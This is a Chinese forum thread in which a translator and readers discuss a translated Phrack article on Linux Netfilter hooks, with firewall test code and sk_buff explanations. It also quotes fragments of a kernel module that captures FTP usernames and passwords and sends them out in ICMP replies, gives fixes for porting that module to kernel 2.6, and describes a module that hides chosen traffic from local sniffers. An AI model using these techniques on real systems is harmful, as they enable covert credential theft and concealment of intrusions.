------目的TCP端口号(如ssh常用的22,FTP常用的19)
这些规则的具体设定是通过ioctl接口来实现的。当一个数据包到来时,LWFW会根据设定好的规则对这些数据包进行检测。如果某个数据包符合其中的任何一个规则,那么钩子函数将返回一个NF_DROP结果,从而Netfilter就会默默地丢弃这个数据包。负责的话,钩子函数会返回一个NF_ACCEPT结果,这个数据包就会继续它的旅途。
最后一个需要提到的就是LWFW的统计记录。任何一个数据包到达钩子函数时,只要LWFW是活跃的,那么看到的数据包总数目将会增加。单个的规则校验函数负责增加由于符合此项规则而丢弃的数据包数目。需要注意的就是,当某个规则的内容变化时,这个规则对应的丢弃数据包总数也会被清零。Lwfwstats函数利用IOCTL的LWFW_GET_STATS命令获取statistics结构体的一份拷贝值,并显示它的内容。

[size=4] A.2 源代码 lwfw.c[/size]
见附件
[size=4] A.3 lwfw.h,Makefile[/size]
见附件
[size=4] A.4 译者添加的测试程序[/size]
下面是译者自己在学习时写的一个对LWFW的过滤规则进行设置和改动的例子,你也可以对此段代码进行修改,当模块成功加载之后,建立一个字符设备文件,然后这个程序就能运行了。
/*

Name: test.c

Author: duanjigang<duanjigang1983@gmail.com>

Date: 2006-5-15

*/

#include<sys/types.h>

#include<unistd.h>

#include<fcntl.h>

#include<linux/rtc.h>

#include<linux/ioctl.h>

#include "lwfw.h"

main()

{

        int fd;

        int i;

        struct lwfw_stats data;

        int retval;

        char msg[128];

        /*来自这个IP地址的数据将被丢弃*/

char * deny_ip = "192.168.1.105";

        /*这个接口发出的数据将被丢弃,无法外流*/

char *ifcfg = "eth0";

        /*要禁止的TCP目的端口22, ssh的默认端口*/

unsigned char *  port = "\x00\x16";

        /*打开设备文件*/

fd = open(LWFW_NAME, O_RDONLY);

        if(fd == -1)

	   {

          perror("open fail!");

          exit(-1);

        }

        /*激活LWFW,设置标志位*/

if( ioctl(fd,LWFW_ACTIVATE,0) == -1 )

        {

             perror("ioctl LWFW_ACTIVATE fail!\n");

             exit(-1);

        }

     /*设置禁止IP*/   

if( ioctl(fd, LWFW_DENY_IP, inet_addr(deny_ip)) == -1)

         {

            printf("ioctl LWFW_DENY_IP fail\n"); 

            exit(-1); 

         }

     /*设置禁止端口*/   

if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)

         {

           printf("ioctl LWFW_DENY_PORT fail!\n");

           exit(-1);

         }

         /*获取数据,这应该是一段时间之后的事,此处直接获取,不妥*/

        if( ioctl(fd, LWFW_GET_STATS,*(unsigned long*)&data) == -1)

         {

            printf("iotcl LWFW_GET_STATS fail!\n");

            exit(-1); 

         }

        /*

        禁用这个接口

       if(ioctl(fd, LWFW_DENY_IF, (unsigned*)ifcfg) == -1)

         {

               printf("ioctl LWFW_DENY_IF fail!\n");

               exit(-1);

         }

         */

         printf("ip dropped : %d\n", data.ip_dropped);

         printf("if dropped : %d\n", data.if_dropped);

         printf("tcp dropped : %d\n", data.tcp_dropped);

         printf("total dropped : %d\n", data.total_dropped);

         printf("total seen: %d\n", data.total_seen);

         close(fd);

}


[size=5] 附录B  第六部分的代码[/size]
这里是一个简单的模块,在这个模块中将对packet_rcv()函数和raw_rcv()函数进行替换,从而隐藏到达或者离开我们指定所IP地址的数据包。默认的IP是“127.0.0.1”,但是,可以通过修改#define IP 来改动这个值。同样提供了一个bash的脚本,负责从Sytem.map文件中获取所需函数的地址,并且负责模块的插入,在插入模块时,以所需的格式将这些函数的地址传递给内核。这个加载脚本是grem写的。原来是为我的mod-off项目而写,经过简单的修改就能用于这里的模块,再次感谢grem。
这里给出的模块只是原理性的代码,没有任何模块隐藏的方法。有很重要的一点需要记住,尽管这个模块能够从运行于同一台机子上的嗅探器中隐藏指定的传输,但是,位于同一个网段上的其他机子上的嗅探器仍然能够看到这些数据包。看了这个模块,精干的读者很快就能设计一些Netfilter钩子函数来阻断任何一种想要阻断的数据包。我就利用本文中提到的技术成功地在其它内核模块项目中实现了对控制和信息获取数据包的隐藏。
(此处代码见附件)

[size=5] [参考文献]:[/size]
[1]  The tcpdump group
      http://www.tcpdump.org
 [2]  The Packet Factory
      http://www.packetfactory.net
 [3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
 [4]  Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
 [5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
 [6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
 [7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
 [8] The Netfilter documentation page
     http://www.netfilter.org/documentation
 [9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
 [B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852

[  本帖最后由 duanjigang 于 2006-5-21 09:43 编辑 ]

souce.rar


 1jjk 回复于:2006-05-21 09:55:58

好文,支持楼主


 platinum 回复于:2006-05-21 10:35:28

movl  (address of our function),  %eax

jmp   *eax


这样强行跳转后,当那个 fun 执行完毕,程序指针 IP 返回到哪里呢?
masm 中调用 fun 用的是 call,如果非要用 jmp 的话,jmp 前要 push 一个返回地址的,因为 fun 最后会有一个 ret 或 retf


 Scorpioo 回复于:2006-05-26 17:56:05

引用: 原帖由 duanjigang 于 2006-5-20 22:27 发表
应当注意,       传输层的头和网络层的头极有可能在内存中指向相同的内存单元。   在TCP数据包中也是这样的情况,h和nh都是指向IP头结构体的指针。这就意味着,如果认为h->th指向TCP头,从而想通过h->th来获取一个值的话,将会导致错误发生。因为h->th实际指向IP头,等同于nh->iph。 



传输层的头和网络层的头极有可能在内存中指向相同的内存单元。

这是为什么呢!


 chunhui_true 回复于:2006-05-26 19:20:41

请问楼主,这个原文我咋搜不到呢。
能给个联接吗?


 duanjigang 回复于:2006-05-28 11:50:47

引用: 原帖由 chunhui_true 于 2006-5-26 19:20 发表
请问楼主,这个原文我咋搜不到呢。
能给个联接吗? 


http://www.phrack.org/show.php?p=61&a=1
这是phrack主页上的原文。
今天正好看到一篇关于第二章内容更详尽的说明,顺便贴出来,希望能促进本文的理解:
IPv6协议定义了五个钩子: 
1. NF_IP6_PRE_ROUTING 0:数据包在抵达路由之前经过这个钩子。目前,在这个钩子上只对数据包作包头检测处理,一般应用于防止拒绝服务攻击和NAT; 

2. NF_IP6_LOCAL_IN 1:目的地为本地主机的数据包经过这个钩子。防火墙一般建立在这个钩子上; 

3. NF_IP6_FORWARD 2:目的地非本地主机的数据包经过这个钩子; 

4. NF_IP6_LOCAL_OUT 3:本地主机发出的数据包经过这个钩子; 

5. NF_IP6_POST_ROUTING 4:数据包在离开本地主机之前经过这个钩子,包括源地址为本地主机和非本地主机的。 


我们分析数据报经过Netfilter机制的过程。数据报进入系统后,进行IP校验以后,数据报经过第一个钩子NF_IP6_PRE_ROUTING注册函数进行处理;然后就进入路由代码,其决定该数据包是需要转发还是发给本机的;若该数据包是发被本机的,则该数据经过钩子NF_IP6_LOCAL_IN注册函数处理以后然后传递给上层协议;若该数据包应该被转发则它被NF_IP6_FORWARD注册函数处理;经过转发的数据报经过最后一个钩子NF_IP6_POST_ROUTING注册函数处理以后,再传输到网络上。 
本地产生的数据经过钩子函数NF_IP6_LOCAL_OUT注册函数处理以后,进行路由选择处理,然后经过NF_IP6_POST_ROUTING注册函数处理以后发送到网络上

[  本帖最后由 duanjigang 于 2006-5-28 17:24 编辑 ]


 guotie 回复于:2006-05-28 20:54:38

好文 !!!


 duanjigang 回复于:2006-05-28 22:27:12

引用: 原帖由 Scorpioo 于 2006-5-26 17:56 发表


传输层的头和网络层的头极有可能在内存中指向相同的内存单元。

这是为什么呢! 


当初自己在读到此处的时候也没有仔细想,多谢你提出这个问题,今天翻了半天资料,自己理解了一点,不知道正确不,因为对于协议栈的细节不清楚,所以只能做一些肤浅的认识,日后有机会再改正此处可的得错误。
sk_buff是一个控制结构,通过它,才可以访问网络报文里的各种数
据。所以在分配网络报文存储空间时,同时也分配它的控制结构sk_buff。在这
个控制结构里,有指向网络报文的指针,也有描述网络报文的变量。下面是
sk_buff的定义,依次注释如下:
struct sk_buff {

struct sk_buff * next;

struct sk_buff * prev;

struct sk_buff_head * list;

以上三个变量将sk_buff链接到一个双向循环链表中

struct sock *sk;

此报文所属的sock结构,此值在本机发出的报文中有效,从网络设备收到的报

文此值为空。

struct timeval stamp; //此报文收到时的时间

struct device *dev; //收到此报文的网络设备

union

{

struct tcphdr *th;

struct udphdr *uh;

struct icmphdr *icmph;

struct igmphdr *igmph;

struct iphdr *ipiph;

struct spxhdr *spxh;

unsigned char *raw;

} h;

union

{

struct iphdr *iph;

struct ipv6hdr *ipv6h;

struct arphdr *arph;

struct ipxhdr *ipxh;

unsigned char *raw;

} nh;

union

{

struct ethhdr *ethernet;

unsigned char *raw;

} mac;

/*

以上三个union结构依次是传输层,网络层,链路层的头部结构指针。这些指

针在网络报文进入这一层时被赋值,其中raw是一个无结构的字符指针,用于

扩展的协议。

*/

struct dst_entry *dst; //此报文的路由,路由确定后赋此值

char cb[48]; //用于在协议栈之间传递参数,参数内容的涵义由使用它的函数确定。

unsigned int len;//此报文的长度,这是指网络报文在不同协议层中的长度,包括头部和数据。在协议栈的不同层,这个长度是不同的。

unsigned char is_clone,cloned,

/*

以上两个变量描述此控制结构是否是clone的控制结构。一个网络报文可以对应多个控制结构,其中只有一个是原始的结构,其他的都是clone出来的。由于可能存在多个控制结构,所以在释放网络报文时要确定它所有的控制结构都

已被释放。

*/

pkt_type,

网络报文的类型,常见的有PACKET_HOST,代表发给本机的报文;还有PACKET_OUTGOING,代表本机发出的报文。

unsigned short protocol; //链路层协议

unsigned int truesize; //此报文存储区的长度,这个长度是16字节对齐的,一般要比报文的长度大。

unsigned char *head;

unsigned char *data;

unsigned char *tail;

unsigned char *end;

以上四个变量指向此报文存储区,具体的涵义后面会解释。

__u32 fwmark; //防火墙在报文中做的标记

}


注意“......以上三个union结构依次是传输层,网络层,链路层的头部结构指针。这些指针在网络报文进入这一层时被赋值.....”,也就是说这些指针只是在不同的时刻(不同的协议层面上)来描述相同的数据(当然在每一个层肯定要进行头信息的添加或者其他操作)。我理解作者此处的意思是:不能因为此结构体重定义了某个指针,这个指针在协议栈中的引用一定就是一个有效值(有意义的)值,指针指向单元的内容首先取决于特定数据包所采用的协议,还有就是数据包是否已经经过了对应的协议层被修改成为有效值。
这是网络数据包与描述它的sk_buff结构体的对应关系:


希望对你有些帮助(尽管我觉得说的太含混晦涩了 ^_^),我会继续就这个问题思考学习的。

[  本帖最后由 duanjigang 于 2006-5-28 22:31 编辑 ]






 platinum 回复于:2006-05-29 16:53:53

vi nsniffer.c
static unsigned int watch_in(unsigned int hooknum,

                 struct sk_buff **skb,

                 const struct net_device *in,

                 const struct net_device *out,

                 int (*okfn)(struct sk_buff *))

{

   struct sk_buff *sb = *skb;

   struct icmphdr *icmp;

   char *cp_data;               /* Where we copy data to in reply */

   unsigned int   taddr;           /* Temporary IP holder */



   /* Do we even have a username/password pair to report yet? */

   if (!have_pair)

     return NF_ACCEPT;



   /* Is this an ICMP packet? */

   if (sb->nh.iph->protocol != IPPROTO_ICMP)

     return NF_ACCEPT;



   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);


为何用 data + ihl*4 的方法取 icmp 头地址,而不用 iph + ihl*4 呢?
数据包从 data 开始的位置是不是一定就是 ip 头的位置?


另外,关于插入点优先级的问题
   pre_hook.hook     = watch_in;

   pre_hook.pf       = PF_INET;

   pre_hook.priority = NF_IP_PRI_FIRST;

   pre_hook.hooknum  = NF_IP_PRE_ROUTING;



   post_hook.hook     = watch_out;

   post_hook.pf       = PF_INET;

   post_hook.priority = NF_IP_PRI_FIRST;

   post_hook.hooknum  = NF_IP_POST_ROUTING;


PREROUTING 是 FIRST 我可以理解,但 POSTROUTING 为何也要注册到 FIRST?为何不用 LAST?
vi kernel/include/linux/netfilter_ipv4.h
enum nf_ip_hook_priorities {

        NF_IP_PRI_FIRST = INT_MIN,

        NF_IP_PRI_CONNTRACK = -200,

        NF_IP_PRI_BRIDGE_SABOTAGE_FORWARD = -175,

        NF_IP_PRI_MANGLE = -150,

        NF_IP_PRI_NAT_DST = -100,

        NF_IP_PRI_BRIDGE_SABOTAGE_LOCAL_OUT = -50,

        NF_IP_PRI_FILTER = 0,

        NF_IP_PRI_NAT_SRC = 100,

        NF_IP_PRI_LAST = INT_MAX,

};



[  本帖最后由 platinum 于 2006-5-29 17:09 编辑 ]


 playmud 回复于:2006-05-30 10:35:44

这个东西很早之前就有了吧。。。。。
raodan 翻译的


 playmud 回复于:2006-05-30 10:36:59

看看有什么新东西,呵呵


 duanjigang 回复于:2006-05-30 12:55:47

(1)"如果我没理解错的话(学习中),data指针指向的是当前层次上要处理的数据的头,ICMP与IP同属网络层,所以在这一层上 ,data指向的是IP数据头,同理若在传输层,data应指向tcp或UDP头,若在连路层data 应指向Eth头
", sb->data 改成sb->nh.iph也可以(这个我用程序试研了),可能作者这种写法更有层次感吧,不知如此解释对是否合适???
(2):在POSTROUTING点可以注测多个HOOK,作为向外发送的数据来说,在此处会被每个注测了的HOOK进行处理,处理的先后顺序跟priority密切相关,如果有一个注测了的钩子比我们注测的这个钩子提前调用,我们能保证数据中的用户名和密码这些数据不被影响(或着改动)吗?为了保证watch_out的功能,才将它的优先权设为最高。
如果有哪里理解错误的话,希望白金兄及时指出. ^_^

[  本帖最后由 duanjigang 于 2006-5-30 13:00 编辑 ]


 platinum 回复于:2006-05-30 15:18:21

我感觉第二点分析得很有道理 ^_^

第一点我有个地方不明白,下面我说一下 :(

>> data指针指向的是当前层次上要处理的数据的头
同意

>> ICMP与IP同属网络层
icmp 头的位置与 tcp/udp 的位置是一样的,而 tcp/udp 不属于网络层,为何说 icmp 是网络层,这点我始终没能理解

>> 所以在这一层上 ,data指向的是IP数据头
同意,若 sk_buff 指向的确实是一个 IP 层的话

>> 同理若在传输层,data应指向tcp或UDP头,若在连路层data 应指向Eth头
问题是,我们怎么知道当前是什么层呢?


 viton_xuan 回复于:2006-05-30 22:12:30

对sk->data指针在各个状态下指向哪一层觉得很模糊.
处理时在交换mac地址之后把data指针指向连路层的头就把包发回去.
能不能这样理解, 在PRE_ROUTING时候data指向ip头, POST_ROUTING之后指向连路层.
另外,觉得在dev_queue_xmit之前应该把icmph->type 改为 ICMP_ECHOREPLY. 因为我在单机调试, 收到的包发出,又给netfilter劫获,就死循环了. 不断的发,劫获,再发,再劫获. 把它改了类型,再劫获之后就可以NF_ACCEPT了. 避免了死循环.


 duanjigang 回复于:2006-05-31 13:52:30

请教了一位同事,解释如下:
(1)用data+..还是用 iph+.......
我认为原代码的写法是正确的,即用data+........
在协议的不同层,sk_buff的data指向这一层的网络报文头部,同时在这个结构体中,也有相关的数据结构来表示不同层的头部信息,这样无论在哪一层,代码结构都是不变的,而如果改为后面那种(iph+...),则只适用于传输层了.


 platinum 回复于:2006-05-31 19:37:52

>> 能不能这样理解, 在PRE_ROUTING时候data指向ip头
我也是这样认为的

>> POST_ROUTING之后指向连路层
为什么?

>> 在协议的不同层,sk_buff的data指向这一层的网络报文头部,同时在这个结构体中
>> 也有相关的数据结构来表示不同层的头部信息,这样无论在哪一层,代码结构都是不变的
>> 而如果改为后面那种(iph+...),则只适用于传输层了.
没理解,尤其是“这样无论在哪一层,代码结构都是不变的”这一句
“而如果改为后面那种(iph+...),则只适用于传输层了”这句我也没有理解,是不是说,如果在链路层,(struct sk_buff *)skb->iph 实际上是 NULL ?


 duanjigang 回复于:2006-06-08 15:46:26

呵呵,一直对5个HOOKS的触发时机不是很清楚,今天正好碰到一篇文章,给出了图示,很明了,附加上来:
IP层的五个HOOK点的位置如下图所示 :

          --->[1]--->[ROUTE]--->[3]--->[5]--->
                        |            ^
                        |            |
                        |         [ROUTE]
                        v            |
                       [2]          [4]
                        |            ^
                        |            |
                        v            |
                       [local process] 

[1]:NF_IP_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测),源地址转换在此点
进行;
[2]:NF_IP_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
[3]:NF_IP_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;
[4]:NF_IP_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行;
[5]:NF_IP_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的目的地址转换功能(包括地址伪装)在此点进行。

[  本帖最后由 duanjigang 于 2006-6-8 15:56 编辑 ]


 wanghl 回复于:2006-06-14 08:31:33

好文!


 viton_xuan 回复于:2006-06-14 13:09:02

to: duanjigang  图有问题 OUTPUT的路由之后应该不经过forward了。
另外感觉 Kernel Packet Traveling Diagram  这副图更详细。 
版主platinum的blog就有一份。 http://www.cublog.cn/u/311/showart.php?id=70642


 duanjigang 回复于:2006-06-14 20:40:42

谢谢指出错误,正在学习。。。。。。


 justicezyx 回复于:2006-09-13 16:46:19

引用: 原帖由 duanjigang 于 2006-5-28 22:27 发表

当初自己在读到此处的时候也没有仔细想,多谢你提出这个问题,今天翻了半天资料,自己理解了一点,不知道正确不,因为对于协议栈的细节不清楚,所以只能做一些肤浅的认识,日后有机会再改正此处可的得错误。
s ... 


也许指的是udp头吧,udp应该没有自己专门的协议数据头,只有ip头而已。


 duanjigang 回复于:2007-04-29 09:23:11

应一位朋友询问,特将2.4下的使用方法帖一下:
系统: RedHatLinux9 2.4.20-8
将lwfw目录拷贝到Linux系统下,建议用ssh,因为我们后面的测试也是使用ssh的。
首先明白各个文件编译后生成模块与程序对应的功能:
make之后,可以看到生成了lwfw.o模块文件,lwfw黄色显示的字符设备文件和绿色的test可执行程序
lwfw.o是要插入系统中负责数据过滤的模块,lwfw是用来从用户态向内核态传递参数给钩子的字符设备文件,test是用户态程序,用来发送指令给lwfw这个模块,通过访问lwfw文件来实现(主要是通过ioctl调用的)
下来看看test.c文件:我们不妨将插有lwfw模块的系统成为目的机
有三个变量:
                    deny_ip : 目的地为目的机的数据包的源IP地址
                    ifcfg       : 目的机用来接收数据的网络接口的名字
                    port       :目的机接收数据的端口。
测试如下:
     第一,对deny_ip进行测试,首先通过ssh远程将deny_ip的值修改为 "192.168.0.201"(这个是我的windows系统的IP),然后要将
/*if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)

         {

           printf("ioctl LWFW_DENY_PORT fail!\n");

           exit(-1);

         }

         */

if(ioctl(fd, LWFW_DENY_IF, (unsigned*)ifcfg) == -1)

         {

               printf("ioctl LWFW_DENY_IF fail!\n");

               exit(-1);

         }

         */

注释起来,然后保存,退出。
make make install
当你刚刚执行完 ./test的时候,如果一切正常,你将会发现你的windows系统与这台linux主机失去了联系
首先ssh会没有响应,其次ping linux主机也会超时,这说明lwfw模块确实过滤了来自指定IP主机的数据
如果方便的话,你需要在linux主机上执行rmmod lwfw这个时候,ping就可以恢复正常了,如果ssh没有超时的话也会恢复正常
如果提示已断开的话,你再次连接也会成功的。
第二,对port进行测试
这次将代码
 /*if( ioctl(fd, LWFW_DENY_IP, inet_addr(deny_ip)) == -1)

         {

            printf("ioctl LWFW_DENY_IP fail\n");

            exit(-1);

         }*/
注释起来,把
if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)

         {

           printf("ioctl LWFW_DENY_PORT fail!\n");

           exit(-1);

         }
注释去掉
而且你也看到
unsigned char *  port = "\x00\x16";

了,对应的就是22端口,因为ssh默认用22端口
保存文件修改,make ,make install
这次建议你用ssh客户端连上去执行./test
当你键入这个命令后,你的ssh客户端一定会没有响应,而ping则会正常,这说明lwfw选择性的过滤了目的端口为22的数据包
为了方便测试,你不妨从多个IP去通过ssh连接,这样多个ssh客户端都会掉线,说明端口的测试确实与IP无关
关于eth0的测试,你可以自己尝试,但是我建议在测试之前先想想可能的结果,这样能估计到可能的风险,也能将实际结果跟自己的预计结果进行比较,方便理解。。

[  本帖最后由 duanjigang 于 2007-4-29 09:47 编辑 ]


 CUDev 回复于:2007-08-07 21:54:33

原先的测试代码有一个小bug,
  if( ioctl(fd, LWFW_GET_STATS,*(unsigned long*)&data) == -1) 

中的 *(unsigned long*)&data)不对,应该为(unsigned long*)&data),去掉*号,这样才是一个指针。

改了一下测试的代码:
首先,激活模块。
lwfwtables -a
然后设置条件
lwfwtables -i 192.168.18.5 设置ip
lwfwtables -g 获取信息
同样使用
lwfwtables -p 22 设置端口
lwfwtables -f eth0 设置网卡
#include<sys/types.h>

#include<unistd.h>

#include<fcntl.h>

#include<linux/rtc.h>

#include<linux/ioctl.h>

#include<stdio.h>

#include<stdlib.h>

#include<arpa/inet.h>

#include "lwfw.h"



void print_help(void);



int main(int argc,char *argv[])

{

    int fd;

    unsigned short port = 0;

    char ch;

    struct lwfw_stats data;



    if (argc < 2)

    {

        print_help();

        return 1;

    }



    fd = open (LWFW_NAME, O_RDONLY);

    if (fd == -1)

    {

        perror ("open LWFW_NAME fail\n");

        goto error;

    }

    while ( (ch=getopt(argc,argv,"adi:p:f:g")) != EOF)

    {

        switch (ch)

        {

        case 'a': //Active

            if (ioctl (fd, LWFW_ACTIVATE, 0) == -1)

            {

                perror ("ioctl LWFW_ACTIVATE fail!\n");

                goto error;

            }

            break;

        case 'd': //Deactive

            if (ioctl (fd, LWFW_DEACTIVATE, 0) == -1)

            {

                perror ("ioctl LWFW_ACTIVATE fail!\n");

                goto error;

            }

            break;

        case 'i': //IP

            if (ioctl (fd, LWFW_DENY_IP, inet_addr (optarg)) == -1)

            {

                printf ("ioctl LWFW_DENY_IP fail\n");

                goto error;

            }

            break;

        case 'p': //Port 

            port=(unsigned short)atoi(optarg);

            port=htons(port);

            if (ioctl (fd, LWFW_DENY_PORT,port) == -1)

            {

                printf ("ioctl LWFW_DENY_PORT fail!\n");

                goto error;

            }

            break;

        case 'f': //Interface

            if (ioctl(fd, LWFW_DENY_IF, optarg) == -1)

            {

                printf("ioctl LWFW_DENY_IF fail!\n");

                goto error;

            }

            break;

        case 'g': //Get Stats

            if (ioctl (fd, LWFW_GET_STATS, (unsigned long *) &data) == -1)

            {

                printf ("iotcl LWFW_GET_STATS fail!\n");

                goto error;

            }

            printf ("if dropped : %u\n", data.if_dropped);

            printf ("ip dropped : %u\n", data.ip_dropped);

            printf ("tcp dropped : %u\n", data.tcp_dropped);

            printf ("total dropped : %lu\n", data.total_dropped);

            printf ("total seen: %lu\n", data.total_seen);

            break;

        default:

            print_help();

            return 1;



        }

    }



    close (fd);

    return 0;

error:

    close (fd);

    return 1;

}



void print_help()

{

        printf("lwfwtables -[a|d|g] -[i:ip | f:NIC | o:Port]\n");

        printf("Note: You Should Run lwfwtables -a First to active lwfw.\n");

}





[  本帖最后由 CUDev 于 2007-8-7 22:15 编辑 ]


 sohu2000000 回复于:2007-10-31 01:57:27

谢谢楼主  :wink:


 duanjigang 回复于:2008-01-10 23:54:49

2008-01-08收到yaoyixiong2005 <[email]yaoyixiong2005@126.com[/email]>来信如下:
[color=Red]文中的程序是在2.4的内核编译,我的内核版本是2.6
   1. 在2.6内核下编译lwfw.c 提示 MOD_INC_USE_COUNT,MOD_INC_DEC_COUNT未定义(详见邮件的附注A),不知道是不是内核版本不一样的问题?如果2.6版本的内核把这两个东西去掉了,这两个东西是在2.4内核版本下哪个头文件里定义的??
   2.(A.4 译者添加的测试程序
下面是译者自己在学习时写的一个对LWFW的过滤规则进行设置和改动的例子,你也可以对此段代码进行修改,当模块成功加载之后,建立一个字符设备文件,然后这个程序就能运行了。)这是你在文中加的内容
    您写的那个程序运行的时候提示 open fail,应该是上面的提示中说建立一个字符设备文件出问题,请教如何建立字符设备文件??
   3.另我在2.6版本上运行文中nfsniff.c中出现skbuff.h中没有mac.ethernet东东,提示没有这个union,2.6的skbuffer只有 unsigned char *raw,把ethernet给去掉了。不知道如何解决。[/color]
下帖回复。


 duanjigang 回复于:2008-01-10 23:58:18

[size=4] (1):MOD_INC_USE_COUNT,MOD_INC_DEC_COUNT未定义[/size]
模块引用计数的递增宏和递减宏在2.6中已经不需要,可以直接删除或者注释掉。
    网上有文如下,可以参考下:
  [color=Blue] In 2.4 and prior kernels, modules maintained their "use count" with macros like MOD_INC_USE_COUNT.
The use count, of course, is intended to prevent modules from being unloaded while they are being used. 
This method was always somewhat error prone, especially when the use count was manipulated inside the
 module itself. In the 2.6 kernel, reference counting is handled differently.
在2.4及其之前的内核里,模块(们)使用宏 MOD_INC_USE_COUNT 维护它们的“用户计数”。用户计数目的在于防
止当模块在使用时被卸载掉。这种方法常常易于出错的,特别是当用户计数被模块自己本身所维护时。在kernle2.6里,
对模块的引用计数(译者:引用计数和模块计数在这里是相同的意思)的处理方法和之前完全不同了。
The only safe way to manipulate the count of references to a module is outside of the module's code. 
Otherwise, there will always be times when the kernel is executing within the module, but the reference
 count is zero. So this work has been moved outside of the modules, and life is generally easier for 
module authors.
对模块的使用唯一的安全方法是在模块之外维护其使用计数,否则,会经常出现这样的情况:当内核正在执行模块时,
而模块的使用计数却是0。因此,这项工作被移植到模块之外,对于模块的编写者来说他们的生活将轻松一些了:).[/color]

[size=4] (2):如何建立字符设备文件?[/size]
     这个在lwfw随附的makefile中可以看到: mknod lwfw c 100 0 就实现了。
      关于mknod的具体用法,相关文档应该有很多的说明了,man mknod可以看到
       mknod [选项]... 名称 类型 [主设备号 次设备号] c表示字符设备char b表示块设备block 等等。

[  本帖最后由 duanjigang 于 2008-1-11 00:01 编辑 ]


 duanjigang 回复于:2008-01-11 00:02:20

[color=Red][/color][size=4] (3):关于2.4内核和2.6内核中sk_buff结构体差异引起的问题[/size]
2.4中sk_buff定义为:(include\linux\skbuff.h中)
struct sk_buff {

	/* These two members must be first. */

	struct sk_buff	* next;			/* Next buffer in list 				*/

	struct sk_buff	* prev;			/* Previous buffer in list 			*/



	struct sk_buff_head * list;		/* List we are on				*/

	struct sock	*sk;			/* Socket we are owned by 			*/

	struct timeval	stamp;			/* Time we arrived				*/

	struct net_device	*dev;		/* Device we arrived on/are leaving by		*/

                。。。。。。。。。。。。。

           /* Link layer header */

	union 

	{	

	  	struct ethhdr	*ethernet;

	  	unsigned char 	*raw;

	} mac;

                。。。。。。。。。。。。。

	

在2.6中sk_buff定义如下:
struct sk_buff {

	/* These two members must be first. */

	struct sk_buff	* next;			/* Next buffer in list 				*/

	struct sk_buff	* prev;			/* Previous buffer in list 			*/



	struct sk_buff_head * list;		/* List we are on				*/

	struct sock	*sk;			/* Socket we are owned by 			*/

	struct timeval	stamp;			/* Time we arrived				*/

	struct net_device	*dev;		/* Device we arrived on/are leaving by		*/

                。。。。。。。。。。。。。

           /* Link layer header */

	union 

	{	

	  	unsigned char 	*raw;

	} mac;

                。。。。。。。。。。。。。

	

注意到2.6内核中的sk_buff结构体的mac联合成员中少了一个成员
[color=Red]struct ethhdr *ethernet[/color]
所以原来的代码在2.6中编译时会提示错误说
ethernet
未定义
mac中没有成员ethernet,但是由于ethernet和raw描述的是同一块数据:ethernet是用指定的数据结构来描述链路层的报文头,而raw作为一个char指针,也指向链路层的报文头。所以,只需要对原来的代码中的ethernet
用raw的表达式替换就行。
替换如下:
(1):282行
 sb->data = (unsigned char *)sb->mac.ethernet;

替换为
 sb->data = (unsigned char *)sb->mac.raw;

(2):287,288,290行的
 sb->mac.ethernet->h_dest


memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),


 memcpy((sb->mac.ethernet->h_source),


替换为:
 sb->mac.raw


memcpy((sb->mac.raw), (sb->mac.raw + 6),


 memcpy((sb->mac.raw + 6),


因为raw指向链路层头,则sb->mac.raw表示目的MAC地址,sb->mac.raw + 6 表示源地址。
这样就好了
准带附上2.6下的Makefile
#Author: duanjigang <[email]duanjigang1983@126.com[/email]> <[email]duanjigang@hotmail.com[/email]>

#Date:  2006-5-12 2008-01-11l凌晨更新for kernel 2.6

#DESP: A FTP user and passwd get sniffer

TARGET = nsniffer

obj-m := $(TARGET).o

KERNELDIR=/lib/modules/`uname -r`/build

PWD=`pwd`

default:

	$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

install:

	insmod $(TARGET).ko

	gcc -o get getpass.c

clean:

	rm -fr *.ko *.o 

	rmmod $(TARGET)


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值